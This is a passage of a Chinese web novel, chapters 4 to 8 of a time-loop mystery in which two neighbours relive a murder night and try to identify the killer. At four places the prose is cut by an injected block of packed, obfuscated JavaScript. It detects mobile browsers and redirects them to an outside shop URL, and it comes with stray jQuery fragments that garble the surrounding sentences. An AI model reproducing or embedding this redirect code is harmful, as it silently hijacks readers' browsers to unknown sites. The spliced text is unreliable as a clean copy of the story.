走廊上的灯光倾泻进屋子里，它走过客厅里的地砖，直直投射到墙上。 一道鲜红的液体顺着灯光照出来的道路蜿蜒流淌到了门边，然后又被低低的门槛挡住。 秦屿顺着液体看过去，他看见了一个倒在地上的身影。 身影被客厅里的阴影吞没，秦屿无法确认他是不是自己时常碰见的那个住在对面的单身女子，但他能看清有大片血迹正从这个身体下方流出。 它们汇聚在一起逐渐朝着门边而来，照这个趋势下去，它们很快就能越过门槛，占领秦屿脚下的走廊。 秦屿握住刀的手在颤抖，地上的身影看上去像睡了，但这大片血迹告诉他，那身影……不，那尸体应该是被人杀了。 他遏制住了自己差点溢出喉咙的惊叫。 屋子里只有一具尸体，凶手大概不在这儿，血液还未凝固，也许凶手还没走远。 这个时候他应该做的事……报警！ 秦屿很快理清了自己的思绪。 他从裤兜里翻找出手机，因为双手在颤抖，他试了好几次才终于成功解锁，然后他打开拨号界面，准备按下那耳熟能详的三个数字。 但他还没来得及拨通电话，便感觉一股强烈的冲击从背上传来，他被什么人按倒在了地上。 手机因这股冲击力从手中脱出，直直落在地面，秦屿这时便恰好看到时间显示00:00。 “发生什么事了？”听了半晌的辛琪插嘴问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642292|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是警察，”秦屿有些丧气地说着，“他们以为我是杀人凶手，就准备把我抓起来。” 怪不得秦屿之前说自己是被警方认定的凶手。 “只是警察才刚刚压住我，我就发现……我回到了凶杀案还没有发生的时候。” 准确的说，是秦屿发现自己回到了中午十二点的时候。 他那个时候正在吃午饭，意识到发生了什么的他立即把筷子扔下，跑到辛琪家门口，“嘭嘭嘭”地敲着她的房门。 不过那个时候辛琪还在公司，秦屿并没有找到人，反而还引起了住在同一层的那个中年妇人的注意。 好不容易挨到下午一点，辛琪回家，他找到辛琪说明这件事，却发现辛琪完全没有任何记忆，他只好悻悻地回了自己家。 但回到家里时，他越想越觉得自己不能放任事情就这样发展下去，最起码他要保住辛琪一条命吧！ 于是在当夜十一点，他再次敲响辛琪的房门，想要邀请辛琪到自己家来躲一躲。 他的想法很简单，只要辛琪来了自己家，凶手不就找不到人了？ 但是他没想到的是，一个单身女子是不可能大半夜去陌生男子家的，尤其是在辛琪什么都不知道的情况下。 他越极力邀请，辛琪就表现得越抗拒，最终两人的争执声惹来了那位热心的中年妇人。 “所以我没去你家，再一次被杀了？” 秦屿却再次摇了摇头：“那个大姐报警了，我跟你一起去了一趟派出所。” 当然他是被押过去的，辛琪是去做笔录协助调查的。 难怪那个中年妇人一出现他便慌成那样，这看来是有心理阴影了。 “一起去了派出所……那我这次没被杀？”辛琪问秦屿。 “我们到达派出所的时候都过了十一点了，”秦屿道，“我坐在警车上仔细想了想，觉得这样也挺好的，进了派出所可以保住你的命，这样不就能改变你被杀的结局了？” “然后中间出了意外？” 要是结局真的被改变了，那辛琪想自己现在也不会在这里了。 秦屿面上渐渐变得凝重：“我记得很清楚，我和你那个时候刚刚到警局，然后你身上突然流了好多血……就跟我第一次在你家里看到你的尸体一样。” “血源源不断的从你身上流出，然后你就这样倒在了我的面前，我还没搞懂这到底是什么情况，我便感觉眼前变得一阵模糊。” “等我回过神来时，我发现我居然又回到了家里，手上还握着一个手柄正在打游戏。” “我听到有脚步声走到你家门口，我就知道是你回来了。” “我想我的时间又一次开始了倒流。” 辛琪摸了摸自己胸口的位置，想起自己晚上也曾见过这里豁开了一个口子，流出了大量的血液。 那伤口是突然出现的，无论是她有记忆的那一次，还是秦屿口述的这一次，她都没有遭受的任何袭击。 但血就那样从身体流了出来，她也就那样死亡了。 哪怕她没有直面凶手，哪怕秦屿将她带到派出所，但她还是死了。 难道她的结局早已注定了吗？ 5. 第五章 “第三次的时候，我原本想要试试看能不能抓住凶手，”秦屿接着说，“但我没想到这次我被杀了。” 辛琪想起了晚上自己在客厅里听到的动静。 “你是怎么被杀的？” “凶手在杀人这方面应该很有经验，”秦屿挠了挠脑袋，“我没做好准备，所以没有打过他。” “……” “不过你为什么想要抓住凶手呢？”辛琪问，“这是一件很危险的事。” 面对一个穷凶极恶的杀人凶手，辛琪认为选择自保是最好的决定，能搭救自己一把都算是很有良心了。 秦屿实在没有必要冒着生命危险跟凶手正面对上。 听到辛琪的疑问，秦屿却转了一个话题：“你听说过时间循环吗？” 还不等辛琪回答，他便自顾自的解释道：“指的是一个人被困在了相同的一天，无论用什么办法都逃不出去……” 辛琪忙摆手打断他的话：“你不用解释了，我知道。” 就算辛琪工作再忙，电影电视剧什么的她还是看过的，时间循环不算是个很稀有的名词。 “我被困在这一天已经四次了，我想我们应该是陷入了时间循环里。” “嗯，所以呢？”这是辛琪早就推测出来的事。 “时间循环是从那场凶杀案开始的，所以我想逃出时间循环的关键就在凶杀案中。” “凶杀案的关键只有两个，你和凶手。” “我第二次循环的时候先选择了救你，你明明跟我一起来到了警局，但还是莫名其妙的死亡了，我也迎来了第三次循环，所以我猜破除循环的关键应该在凶手身上！” “所以你想要抓住凶手才选择跟凶手正面搏斗？”辛琪道。 秦屿点了点头，脸上又露出惋惜之色：“只可惜我不仅没能抓到他，还被他给反杀了。” “那你为什么不报警呢？” “我也想过啊，”秦屿面上皱起，“但我能跟帽子叔叔说我提前知道这人是杀人凶手吗？” “你第二次循环的时候，没做什么事不也被大姐送去派出所了吗？再说了一个人深夜走楼梯到别人家门口本来就够可疑的了……” 虽然这个行为不太好，但辛琪觉得非常时期就要用点非常手段，只要能够破除循环，改变自己被杀的命运……无论什么方法都值得一试。 因此她实在不明白为什么秦屿在占据先机的情况下还能被反杀了。 秦屿恍然大悟：“那今晚我们就试一试？” 辛琪自然是同意了，现在她也想不出第二种方法。 好在他们拥有前几次循环的记忆，知道凶手会在晚上几点来，因此两人都不需要做什么准备，只要安心待在家里守株待兔就行。 确定好了晚上的“作战计划”，现在才刚刚过三点，离十一点还有很长一段时间，两人准备再讨论点别的事。 讨论什么呢？时间循环。 谁也不能保证今天晚上能成功抓住凶手，或者抓住凶手了就能跳出循环，所以他们很有必要多了解这个循环。 多掌握一点规律，就多一分逃脱的希望。 首先时间循环产生的原因，两个人一致认为是晚上的凶杀案。 逃脱的关键现在还不能确定，不过暂时定为抓到凶手。 循环开始的契机也十分明显，辛琪摸了摸自己胸口的位置。 “按照你的说法，凶手是在十二点左右将我杀死的，所以只要时间到了十二点，我就会死亡，循环也会重新开启。” 辛琪觉得这有点像她的名字被写在生死簿上。 哪怕没有人来杀她，但只要到了时候她也必然会死亡，现在他们所经历的时间循环就是给她起死回生的最后机会。 她如果能找到逃脱循环的方法，说不定就能改变自己死亡的结局了。 不过辛琪还有一个很在意的地方。 “你说你第三次循环醒来的时候，刚好听到我走到家门口了？” “对啊。” “那你记得你第二次循环醒来的时候是几点吗？” 秦屿望天回忆了一下：“我没太注意时间，但那个时候我正在吃午饭，所以应该是中午十二点左右。” 秦屿第二次循环是中午十二点。 第三次遇到辛琪刚刚回家的时候，辛琪记得她下电梯看了一眼时间，那个时候是下午一点。 而这回……辛琪在床上醒来时看到的时间是下午两点。 “时间在往后推移。”辛琪突然道。 秦屿没听明白：“什么？” 辛琪抬眼看他：“我们每经历一次循环，时间就会往后推一个小时……如果还有下次，那我们醒来的时候时间会变成下午三点。” 秦屿点了点头，随后像是想起了什么，脸色猛的一变：“也就是说……” “也就是说，这个循环并不会一直持续下去，它是有尽头的。” 循环开启的时间是午夜十二点，每一次循环开启，两个人醒来的时间都会往后推迟一个小时。 如果醒来的时间一直推迟到了十二点，那么新的一轮循环还会开启吗？ 辛琪想，大概率是不会的。 好消息，他们又找到了一种新的逃脱循环的方法。 坏消息，如果在循环之内找不到别的方法，辛琪便会彻底死在夜晚十二点，再也无法拥有重新醒来的机会。 这一次的时间循环对辛琪和凶手而言，就是一次你死我亡的游戏。 想到这里的辛琪沉默了下去。 就算有秦屿帮她，但他们一个社畜，一个应届大学生，都是普普通通的人，跟一个穷凶极恶的犯人玩这样的游戏实在是有些勉强。 “没关系！”沉默一会后，秦屿十分乐观的出声了，他似乎是想拍一拍辛琪的肩膀，但又把手收了回去。 “我们提前知道凶手什么时候会来，还有帽子叔叔帮忙……这一次优势在我，一定会成功的！” 辛琪没有他那么乐观，也不懂他昨晚都被凶手反杀了为什么还能保持乐观。 但她只是点了点头，没开口，因为在这种情况下，他们也只能乐观一点了。 接下来两人便不怎么说话了，只在客厅静静等待着夜晚的降临。 等待的时间很长，秦屿拿出了游戏开始玩，只是他明显心不在焉的，玩一会就打开手机看一眼时间。 太阳渐渐西沉，夜晚从蔚蓝变成了深沉的墨黑色，时间过得虽慢，但也不知不觉走到傍晚时分了。 19:11分时，辛琪又一次收到了来自张帆的“请假审批通过”，下面依旧附了张帆的留言“好好休息[爱心]”。 辛琪也依旧回复了一个白眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642293|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 领导这东西，无论看多少次都觉得倒胃口。 等到19:45分，“接老板明天暴毙”群也弹出了三条消息。 【辛姐，周姐让我提醒你，你的感冒药忘在办公室了】 【哈哈哈，小何，你是不是发错地方了】 【不好意思，不好意思，我原本想私聊辛姐的，发错了】 这每一条曾经看过的消息都在提醒她，她现在滞留在时间的漩涡中，暂时无法到达第二天。 等抓到凶手就好了吧，她内心安慰自己，学起了秦屿的乐观，这一次优势在我，他们晚上一定能抓住凶手的。 不过比凶手先到来的是外卖小哥。 辛琪忘了取消预订单，她的晚饭在晚上八点左右准时送来了。 外卖小哥敲的是她家的门，辛琪打开秦屿的门想取外卖时，外卖小哥还仔细询问了她的手机尾号。 他大概还有别的单要送，手上提一蓝一红两份包装袋颜色不同的外卖，听到辛琪报出了手机尾号，他仔细对比了两份外卖上的订单，才将那一份红色的递给辛琪。 辛琪谢过外卖员，将外卖拿到秦屿家中吃了，她看了一眼餐盒，是跟上次一模一样的饭菜，连那根多出的豆芽丝也在。 辛琪不爱吃这个，跟之前一样将豆芽丝挑出来后，开始用起了晚餐。 秦屿眼巴巴地看着她吃，也去厨房煮了一碗泡面来，跟她面对面地吃着。 吃饱喝足后，秦屿将桌面收拾了一下，又去打游戏，辛琪则在一旁看着他打。 一直到晚上23:30，秦屿终于将游戏关掉，只静待凶手的到来。 为了安全起见，两人还将客厅的灯给关上了。 这个时间段大部分的人就在自家待着，走廊上没有一点声音，客厅里也静悄悄的。 在黑暗中，两人便只能听见彼此的呼吸声。 23:40。 辛琪看了一眼秦屿：“快来了吧？” “嗯，那我报警了？” “好。” 一般警察出警的时间都在十分钟以内，如果幸运的话，凶手只要一出现在十楼就会被警察逮住。 那么他们也不用跟凶手正面搏杀了。 秦屿解锁手机，拨出110，电话很快被接通。 “喂，您好，是帽子……警察叔叔吗，我看到有人鬼鬼祟祟地出现在我家门口……” 避免打草惊蛇，秦屿还在报案电话里强调了，这个鬼鬼祟祟出现在他家门口的人十分危险，希望警察来的时候不要闹出太大动静，以免嫌疑人做出什么极端的事。 接线员在电话那头答应了，还温声安慰他不要害怕，只需要安心待在家里，其他的事等人民警察来处理就好了。 这下有了警察的帮忙，两人心里安定了不少，挂断电话后就在客厅里等待着。 时间一分一秒的过去，外面变得愈发安静，两人不知凶手是否已经到来了，也不知警察是否正在往小区里赶。 他们现在所能做的事唯有祈祷，祈祷着今晚能顺利抓到凶手。 然后就在这万籁俱寂之中，一阵熟悉的“哒”、“哒”、“哒”声隔着墙壁响起。 这声音听起来很像脚步声，但比脚步声更加绵长。 辛琪和秦屿对视一眼，他们立即明白过来那是有人从楼梯上来了。 6. 第六章 在这个时间段选择走楼梯的人，他们目前只知道一个。 是凶手来了吗？ 可他们明明报了警，那凶手是怎么顺利从楼梯上来的？ 难道说警察还没有赶到？ 各种各样的疑问在两人脑中出现，两人无法确定外面是什么情况，便只得站在原地随时留意着外面的动静。 楼梯口跟秦屿的屋子就隔了一堵墙，因此辛琪发现这里传来的声音更加清晰。 她听出这脚步声虽冗长而富有规律，但相比之前听到的更加急促。 很快的，脚步声从楼梯口出来，进入到了走廊里，再向着他们的方向而来……然后就在此时停下。 两人不由得屏住了呼吸，因为他们能听得出从楼梯上来的那个人，现在就站在辛琪和秦屿屋子的门中间。 凶手这是准备要动手了吗？ 辛琪和秦屿在黑暗中惊疑不定的互看了对方一眼，一时不知该如何行动。 最后还是秦屿咽了口唾沫，迈着步子向前，想要通过猫眼看一看外面的情况。 “嘭嘭嘭——” 他刚迈出一步，一阵清脆的声音便突然在走廊中响起。 秦屿的步伐停住了，因为他听出了这是敲门声。 最为可怕的是，这敲门声不是隔着走廊和门板传来的，它清晰明了的回荡在这间客厅里，不打一丝折扣。 ——走廊上的人敲的是秦屿的房门。 辛琪的身体顿时僵硬起来，如果来的人真的是凶手，那他是怎么知道自己躲在秦屿屋子里的？ “嘭嘭嘭——” 现在的情况不容两人多想，门被更大力地敲响了，甚至连门板也跟着震荡起来。 秦屿继续朝着门口走去。 无论外面来的是谁，先从猫眼确认一下情况是很有必要的。如果真的是凶手，那么他可以先将凶手牵制住，以免警察来了打草惊蛇，让凶手逃脱…… “请问秦屿在吗？” 秦屿在脑中制定计划之时，一个声音隔着门板响起。 两人再次交换了一个疑问的眼神，因为他们听出了这是一个女声。 而与凶手接触过的两人清楚，凶手应该是一个男人没错。 两人还没来得及吭声，那门外的人便再次开口：“秦屿你在吗？是你报的案吗？” 难道现在在外面的人是…… “你是警察？”秦屿问。 “对，”外面那女声道，“可以先开一下门吗？” 秦屿将眼睛贴到猫眼上，他看见自己的门前站着一个女人，那女人穿着一身常服，从外表上也看不出到底是不是警察。 他于是没动：“能麻烦你出示一下警察证吗？” 门外的女声没说话，只在自己衣服口袋里翻找了一会，然后将一张证件怼到了猫眼上。 秦屿透过猫眼仔细看了看，首先映入眼帘的是证件上方那个大大的金色徽章，和徽章下印的两个金色字体：公安。 证件下方是警察的个人信息，这上面的字体较小，从猫眼看上去并不是特别清晰，但足够让秦屿看清那张证件照上的人脸。 秦屿开了客厅的灯，又握住门把手准备开门。 辛琪拦住了他：“万一不是警察呢？伪造证件的也不是没有。” 秦屿示意她放心：“外面的绝对是真警察。” 说完，他在辛琪疑惑的目光中将门打开了。 那自称“警察”的女子就站在门外，看到门开了，她先第一时间环视了一下秦屿的屋子。 那眼神锐利如鹰隼，看起来的确像是个警察。 秦屿朝她挥了挥手：“方警官，你好呀~” 外面的女子立即将目光放到秦屿身上，她打量了秦屿几眼，面带疑色道：“你认识我？” “有幸见过，但你可能已经忘了吧。” 他第一次站在辛琪的屋子前时，就是被这位方警官按倒的；在第二次的循环中，他也是被她亲手押到派出所的。 他跟这位警官可以算得上是“老熟人”了。 方警官再次认真看了看秦屿，她发现自己对这张脸的确没有印象，但是她作为这个区域的片警，每天面对的群众不知凡几，大概是真的忘了吧。 她不再追究这事，只再次确认道：“所以你就是秦屿？是你报的案？” 秦屿刚点了一下头，辛琪便急急忙忙询问：“方警官，你们抓到凶……那个鬼鬼祟祟的人了吗？” 听到辛琪的问话，方警官突然沉默了一会，然后以一种极其复杂的目光看着两人：“我正想问你们是在哪里看到那个鬼鬼祟祟的人的……” “我一路从楼梯上来，并没有看到什么可疑的人物。” “没有？！”辛琪面上一惊，下意识反驳道，“这怎么可能呢？” 她低头看了一眼时间，23:55，现在离十二点就只剩下五分钟了，她明明记得凶手是在23:45来到她家门口的。 可是现在警察却没找到？这是为什么？ 难道凶手在警察来之前就已经跑了？ “方警官，你们是什么时候来到楼下的？”辛琪问。 “我们赶到小区的时候是23:44，我和我同事走到这栋单元楼下是23:45。”方警官回答道。 “到达楼下后，我的同事第一时间坐电梯上了天台，并且从天台一楼一楼往下搜查；而我则从一楼一层一层走上来，我们两人都没有发现你们口中的危险人物。” “那他会不会已经离开这栋楼了？”秦屿道。 方警官回答：“这栋楼有两个出口，一个是单元门，一个是地下车库。” “你们23:40报警说有可疑人物出现在家门口，我到这个小区的时候，就让我的同事去调了这两个地方23:40到23:45的监控，一旦看到有什么可疑人物进出，他们就会第一时间打电话通知我。” “现在是……23:56，我想我的同事早就看完了，但直到现在我的手机都没有任何动静，”方警官拿起手机在两人面前晃了晃，“也就是说，他们并没有发现有什么可疑人物离开这里。” “那……那他会不会从没有监控的地方逃跑了，比如窗户什么的……”秦屿胡乱猜测着。 “你们小区的窗户能开的缝隙就那么点儿，一个成年人应该是钻不过去的……除非他有缩骨功。” “不过这世间无奇不有，以防这种可能……”方警官似乎是耍了一下幽默，但在这种情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642294|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况下没有人能笑得出来，“我也让我的同事们去盯着小区各处的实时监控，以及守着小区两个出口了。” “但我的同事也没有通知我有任何异常。” “我想这种情况下只有两种可能，要么这个人有什么特异功能，能在我们眼皮子底下飞走，要么……” 她那双锐利的眼睛直视着辛琪和秦屿：“这小区里根本没出现你们口中的危险份子。” 方警官向前一步，迈步进了屋子里，她身上强大的气场让二人情不自禁的往后退了一步。 “老实说，我现在比较怀疑你们二人报案的动机。” “你们知道报假案浪费警力的后果吗？” * 辛琪和秦屿从没这么庆幸过时间循环的存在。 在那方警官逼问他们是否报假案时，时间刚好来到了午夜十二点，辛琪感到熟悉的痛感从胸口处传来，她在那位方警官面前直挺挺地倒在了地上。 辛琪眼前变得模糊一片，在失去意识之前她还听到了那位方警官的惊呼声，等到再次清醒时，一看外面已经变成白天了。 新的循环开始，那咄咄逼人的方警官自然也不复存在。 “我的天，她也太可怕了！吓出了我一身冷汗！” 下午三点，辛琪来到了秦屿的屋子里，秦屿正在不停地抱怨。 “我还以为这次又要被她拷走了！” 辛琪环着手臂在客厅里走来走去，脸上露出一副沉思的表情，一看就没听他讲话。 秦屿有些不满地走到辛琪身前，想要引起她的注意：“你在想什么啊？” 辛琪停下了脚步，但脸上的表情不变：“我在想，为什么晚上方警官没有找到凶手。” “我记得很清楚，晚上他是23:45走到十楼的，方警官也是在23:45到达楼下的，”辛琪面上满是疑虑，“按照正常情况来说，方警官进入这栋楼的时候，凶手也在这栋楼里，他们不可能碰不上。” “对哦，”还笼罩在方警官阴影下的秦屿差点忘了这事，他挠了挠头，“那会不会是凶手在上楼之前看到警察来了，所以跑了？” 辛琪顺着这个思路想了片刻，然后摇了摇头：“警察是23:44到达小区的，凶手却在23:45就已经到了十楼……一分钟是爬不完十层楼的，所以说警察到达小区的时候，凶手应该还在楼梯上才对，他怎么可能知道警察已经来了，又怎么可能来得及逃跑呢？” “所以我更倾向于方警官的说法。” “什么说法？” 辛琪抬头望着秦屿：“凶手昨晚根本没来。” “没来？”秦屿更不解了，“为什么没来？他不可能不来啊！” 秦屿这已经是第五次经历这一天了，在此之前的每一次、每一件事、每一个人都重复着相同的轨迹，从未偏移。 “也许他知道有人在守株待兔了。”辛琪道。 “这更不可能了，”秦屿摆摆手，“除非他可以……” 他的话说到这里便停止了，因为他脑中了出现一个很可怕的猜测。 但辛琪知道秦屿想说什么，她便接着他的话说：“除非他可以预知未来。” “除非他也有时间循环的记忆。” 7. 第七章 循环的每一天在不断地重复，每一个人、每一件事都按部就班地运行着，按照常理来说是不会出现任何改变的。 但在什么情况下，这样重复的一天会开始发生变化？ 辛琪觉得答案是在拥有了记忆的情况下。 在这无限重复的一天里，没有记忆的人会无数次的奋力追赶那班根本赶不上的公交车，会无数次的排队买那根本轮不到自己的豆浆油条。 没有了记忆，这每一天对他们来说都是未知的，他们不知道自己赶不上公交车，买不到豆浆油条，而拥有记忆的人则会改变自己的行动，把公交车换成地铁，把豆浆油条换成包子馒头。 因为有了记忆，辛琪没有在卧室里睡觉，而是在和秦屿商量对策。 因为有了记忆，秦屿没有继续打游戏，而是在客厅里听着辛琪的分析。 因为有了记忆，凶手也很有可能改变自己的行动，终止了这场原本应该发生的凶杀案。 “凶手一定拥有上一次的记忆。” “在上一次的循环中，你对他出手了，他害怕这样的事会再次发生，所以晚上没来。” “他这样做虽然保全了自己，但也暴露出了他拥有记忆的事实。” 秦屿点点头，又听辛琪继续道：“而且他说不定知道了我们也有循环的记忆。” 秦屿一愣：“为什么怎么说？” “因为你对他出手了，”辛琪道，“人会在什么情况下对一个陌生人出手呢？” “在你提前知道他是坏人的情况下。” 辛琪的推测其实不无道理。 连他俩都保留了时间循环的记忆，难道凶手就不会有吗？ 更何况他才是这场时间循环最为关键的人物。 但这个推测对两个人来说无疑是晴天霹雳。 第一，他们不知道凶手是谁，第二，他们不知道凶手的动机，此前面对凶手唯一的优势就是拥有这一天的记忆，他们可以提前预知凶手的行动，有机会当场抓住凶手。 但现在连这个唯一的优势都没了，他们要怎么跟凶手对抗？ 要怎么在茫茫人海中找到这个唯一的凶手？ 每一次循环，他们都会失去一个小时，时间一直在朝十二点逼近，要是找不到凶手，他们要怎么跳脱出循环，怎么改变辛琪被杀的结局？ 两个人都不约而同地沉默下来，客厅里便只回响着秦屿没来得及关上的游戏声。 “……去找凶手！”最先开口的还是一贯乐观向上的秦屿，“在这儿待着也解决不了问题啊！” 辛琪抬起眼皮看了他一眼，语气里有些无力：“这个城市住着几千万人口，你说要怎么找？” “找……找……”秦屿努力思考了半天，然后眼睛一亮，“找知道你家地址的人啊！” “杀你的凶手有两种情况，要么是随机作案，要么就是盯上你了。” “要是随机作案的话，他没必要挑咱们小区啊，监控安保什么的都很齐全，这对他来说风险太大了！” “而且我也觉得你不可能那么倒霉吧？” “所以你是觉得他盯上我了？”辛琪道，“是有预谋的？可是为什么呢？” 秦屿摆摆手：“嗐，都杀人了，谁知道凶手在想什么啊？” “他在想什么不是最要紧的，现在最要紧的是要把他赶紧找出来！” 辛琪仔细思考了一阵，觉得秦屿说得没错。能够上门杀她的人，无论是谁，无论有什么动机，首先要满足的条件就是要知道她家的地址。 秦屿还在继续说着：“你快回忆一下都有谁知道你住哪儿吧？” 这个年头个人信息早已不是什么秘密，一个快递，一个外卖都有可能让自己的私人信息全部曝光。 辛琪是一个很谨慎的人，她一个人独居，所以快递的地址只填了单元号，平时吃饭也在公司食堂，连外卖也很少点。 但她还就真的想出了一个可疑的人选。 她解锁了手机，翻出了自己还没取消的外卖订单。 她将订单展示在秦屿眼前：“你觉得会是他吗？” 秦屿看了一眼她的手机：“外卖员？可人家跟你无冤无仇的，这可能性不大吧？” 辛琪道：“我起码一个星期没点过外卖了，最近点的一次外卖就是今天……而他今天给我送了这一趟之后，晚上我就被杀了。” “你不觉得这有点太巧了吗？” 听到她这样一说，秦屿心里也产生了怀疑：“嗯，你说得也有道理。” “晚上要不要行动试试？”辛琪提议道。 “你想怎么行动？”秦屿目露诧异，“你不会还想找方警官把外卖小哥抓回去吧？” “现在又什么都没发生，”他搓了搓发寒的手臂，“我可不想因为‘报假警’再被她押进派出所里了。” 辛琪对他神秘一笑：“只是想看看这位外卖员是不是凶手而已，不需要出动方警官。” “你之前不是分析说凶手有记忆吗？”秦屿又提出了新的问题，“万一他根本没来送这一单呢？” “只是送外卖，又不是来杀人，他不来反而还增加自己的嫌疑，”辛琪脸上的笑容不变，“这样我们不就更能肯定他是凶手了吗？” * 辛琪这一单最终还是被外卖小哥接下了。 到了晚上七点半左右，辛琪看到自己的外卖预订单开始配送，大概再过半小时就会到她家门口。 这好像帮助那外卖员稍稍减轻了些嫌疑。 秦屿凑近了她手机：“你看清了吗？是之前来的那个吗？” 辛琪盯着订单上显示的名字看了好半晌，然后表情淡然地开口道：“嗯，我不记得了。” 有谁会在点外卖的时候专门去留意给自己送外卖的人是谁？ 秦屿感觉自己有点崩溃了：“……那我们怎么判断出这是不是之前那个？万一不是呢？” 万一凶手发现自己暴露了，换了新的外卖员接单，他们找错目标了呢？ 辛琪倒是一副不慌不忙的样子：“不用担心，我还记得他的声音。” 再怎么说，她也跟这位外卖员通了两次电话，她记得他的声音与寻常人不同，有些沙哑。 秦屿没有说话，只暗暗祈祷到时候辛琪不要认错人了。 手机上显示外卖离辛琪家只有五十米时，辛琪和秦屿一起躲到了她家里。 秦屿并不是第一次来了，他进入客厅时还专门给辛琪指了一下她尸体的位置。 “就是这里，”秦屿指着靠近卧室的一块地砖说，“我当时就看到你躺在这里，全身都是血……那血啊直直流到了门槛上！” 他绘声绘色地给辛琪描述了整个案发现场的状况。 辛琪听得满脸黑线：“……你不用讲了，我不是很想听。” “说得也是哈，”秦屿沉吟了一会，然后露出个大大的笑容，“只要我们抓不住凶手，你到了十二点也能看到的！” “……” “诶？你脸色怎么变黑了？是不是胸口又痛了？奇怪，这还没到十二点啊？” 在辛琪考虑着反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642295|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有循环要不要给秦屿来一刀时，屋子大门总算被人敲响了。 两人对视一眼，神色顿时变得严肃起来，辛琪开口问道：“是谁？” 外面传来了一个男声：“你好，外卖。” 这声音略微带着沙哑，和辛琪之前在电话里听到的一模一样。 辛琪对着秦屿点了点头，示意外面来的外卖员就是之前那一个，然后她走到大门前，按下门把手，朝里推开了房门。 外面站着一个穿黄色工作服的男人。 现在是冬天，在户外工作的人都习惯把自己的头脸包住，只露一个眼睛，辛琪面前的这个外卖小哥也不例外。 她看不清他的长相，但她记得之前透过猫眼与凶手对视时，凶手也像这样包住自己的头脸，只剩一个眼睛在外面。 跟之前一样，外卖员手中提着一蓝一红两份外卖，看着辛琪开了门，他仔细确认订单后将那份红色的外卖递给了辛琪：“你的外卖。” 他外表看上去一切如常，和一个兢兢业业工作的外卖员没有任何区别，辛琪根本无法判断出他到底是不是凶手。 辛琪没有接过外卖，只看了他半晌，然后突然对着他说：“我知道你做的事，我已经报了警，今天你逃不了了。” 她在说这话时，藏在客厅里的秦屿握紧了自己从辛琪厨房里拿的刀，他还没忘记自己曾经被凶手反杀过一次。 他等着外卖员的反应，要是有什么不对劲，他便会立刻冲上去保护辛琪。 在外卖员来之前，辛琪对他说过，凶手现在唯一的特征就是他拥有循环的记忆，所以想要判断出谁是凶手，就要找出那个有记忆的人。 辛琪对着外卖员说这番话，就是想看他会怎么应对。 外卖员脸上明显的一愣：“我……我做什么事了？” 他语气充满了疑问，好像什么都不知道。 辛琪眯着眼看他，然后再一次开口：“你还要装吗？没关系，反正等你到了公安局，这一切也都结束了。” “不是，你什么意思啊？”外卖员情绪明显激动了起来，音量也提高了不少，“我到底做什么了？” “你自己做了什么心里清楚，不需要我再告诉你吧？”辛琪对他冷笑一声，“你还是想想要等会要怎么和警察辩驳吧。” “你这人是不是有点毛病啊？”外卖员看起来既气愤又疑惑，“我好好送我的外卖，从来没做过什么犯法的事，你到底什么意思啊？” 他极力与辛琪争辩着，从表情上看起来的确不像是凶手，辛琪一时没再继续开口了。 “你说清楚？我到底怎么了？” “我又没做什么亏心事，警察来了我也不怕！” 门外站着的外卖小哥还在一叠声的逼问着，这时便轮到秦屿出场了。 他接过了外卖，点头哈腰的对着人说：“不好意思啊，这是我朋友，她这里有点问题……” 秦屿指了指自己的脑子。 “还请你不要见怪，我等会给你一个好评，再给你打赏，你看行不行？” 外卖员嘴里虽然还骂骂咧咧的，但是好歹是被秦屿劝说走了。 辛琪在外卖订单上给了一个好评，又花了十块钱打赏。 屋子的大门还没关，辛琪看了一眼外卖员离开的方向。他是乘坐电梯下楼的，电梯按钮上的电子屏显示他此时已经到了一楼。 “走吧。”辛琪突然道。 秦屿面露不解：“去哪儿？” “跟踪那个外卖员，接下来才能判断出他到底是不是凶手。” 8. 第八章 到达一楼之前，辛琪曾经预设过那位外卖小哥如果真的是凶手，会对她那番话做出什么反应。 